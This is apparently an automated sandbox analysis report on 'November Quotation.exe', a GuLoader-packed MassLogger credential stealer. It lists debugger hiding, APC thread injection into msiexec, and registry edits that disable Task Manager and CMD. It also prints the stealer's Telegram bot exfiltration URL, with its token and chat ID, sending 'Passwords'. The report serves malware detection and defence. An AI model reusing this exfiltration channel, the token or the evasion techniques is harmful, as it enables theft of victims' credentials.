Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 593970	Jump to behavior

Source: msiexec.exe, 00000005.00000002.2572130777.0000000008689000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,(;
Source: msiexec.exe, 00000005.00000002.2572130777.0000000008689000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2572130777.000000000862A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\November Quotation.exe	API call chain: ExitProcess graph end node			graph_0-2947
Source: C:\Users\user\Desktop\November Quotation.exe	API call chain: ExitProcess graph end node			graph_0-3088

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Hides threads from debuggers

Anti Debugging

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Process queried: DebugPort

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_076B0D30 LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,

2_2_076B0D30

Source: C:\Users\user\Desktop\November Quotation.exe

Code function: 0_2_0040610B GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_0040610B

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\msiexec.exe base: 3E90000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"

Disable Task Manager(disabletaskmgr)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\SysWOW64\msiexec.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\November Quotation.exe

Code function: 0_2_00405DC3 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405DC3

Lowering of HIPS / PFW / Operating System Security Settings

Source: C:\Windows\SysWOW64\msiexec.exe

Registry value created: DisableTaskMgr 1

Disables CMD prompt

Source: C:\Windows\SysWOW64\msiexec.exe

Registry value created: DisableCMD 1

Disables the Windows task manager (taskmgr)

Source: C:\Windows\SysWOW64\msiexec.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Yara detected MassLogger RAT

Stealing of Sensitive Information

Source: Yara match	File source: 00000005.00000002.2583646535.0000000024112000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 6492, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2583646535.0000000024112000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 6492, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	11 Masquerading	OS Credential Dumping	211 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	3 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Clipboard Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	14 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
November Quotation.exe	61%	ReversingLabs	Win32.Trojan.GuLoader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\sognenes\iconograph\Folkways\November Quotation.exe	61%	ReversingLabs	Win32.Trojan.GuLoader

Name	IP	Active	Malicious	Reputation
drive.google.com	172.217.19.174	true	false	high
drive.usercontent.google.com	142.250.181.1	true	false	high
reallyfreegeoip.org	172.67.177.134	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.130.0	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.75	false	high
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.1860047618.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/8&h5	msiexec.exe, 00000005.00000002.2585049907.0000000026365000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	msiexec.exe, 00000005.00000002.2583646535.0000000024112000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.000000002417D000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.00000000242EC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.00000000241D2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.1857229599.0000000004DC6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	msiexec.exe, 00000005.00000002.2583646535.0000000024112000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	msiexec.exe, 00000005.00000002.2572130777.0000000008689000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1949167183.00000000086A3000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.microsoft	powershell.exe, 00000002.00000002.1862036159.00000000072F3000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.1857229599.0000000004DC6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000002.00000002.1860047618.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/1&	msiexec.exe, 00000005.00000002.2585049907.0000000026365000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.1860047618.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	msiexec.exe, 00000005.00000002.2572130777.000000000869C000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	msiexec.exe, 00000005.00000002.2583646535.0000000024112000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.000000002417D000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.00000000242EC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.00000000240C3000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.00000000240CF000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.00000000241D2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	November Quotation.exe, November Quotation.exe.2.dr	false	high
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.1857229599.0000000004DC6000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.mi	powershell.exe, 00000002.00000002.1862036159.000000000734E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com	msiexec.exe, 00000005.00000003.1949167183.00000000086A3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283	msiexec.exe, 00000005.00000002.2583646535.00000000241D2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore6lB	powershell.exe, 00000002.00000002.1857229599.0000000004C71000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/	msiexec.exe, 00000005.00000002.2572130777.0000000008689000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000002.00000002.1860047618.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.1860047618.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	msiexec.exe, 00000005.00000002.2583646535.00000000240E8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	msiexec.exe, 00000005.00000002.2583646535.00000000240CF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	msiexec.exe, 00000005.00000003.1949167183.00000000086A3000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	msiexec.exe, 00000005.00000002.2583646535.000000002417D000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.00000000242EC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.00000000240CF000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.00000000241D2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://api.telegram.org	msiexec.exe, 00000005.00000002.2583646535.0000000024112000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.000000002417D000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.00000000242EC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.00000000241D2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1857229599.0000000004C71000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2583646535.0000000024051000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	msiexec.exe, 00000005.00000002.2583646535.00000000240CF000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.181.1	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
172.217.19.174	drive.google.com	United States	15169	GOOGLEUS	false
172.67.177.134	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562309
Start date and time:	2024-11-25 13:45:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	November Quotation.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@6/15@6/5
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 94% Number of executed functions: 115 Number of non-executed functions: 31
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7864 because it is empty
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: November Quotation.exe

Simulations

Behavior and APIs

Time	Type	Description
07:46:28	API Interceptor	38x Sleep call for process: powershell.exe modified
07:47:39	API Interceptor	34070x Sleep call for process: msiexec.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
193.122.130.0	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	VSP469620.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SOA SEP 2024.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PO-841122676_g787.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/
	Documents.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	#U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	e-dekont_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	13.107.246.63
	Vendor Agreement Ready for Your Signature November 22 2024 at 084923 PM.msg	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	XFO-E2024-013 SMP-10.3-F01-2210 Host spare parts.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.63
api.telegram.org	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rorderrequirementsCIF-TRC809910645210.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
reallyfreegeoip.org	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	F7Xu8bRnXT.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.67.177.134
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	AWB NO - 09804480383.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.67.152
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.67.177.134
	VSP469620.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	IMG-20241119-WA0006(162KB).Pdf.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.67.177.134

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
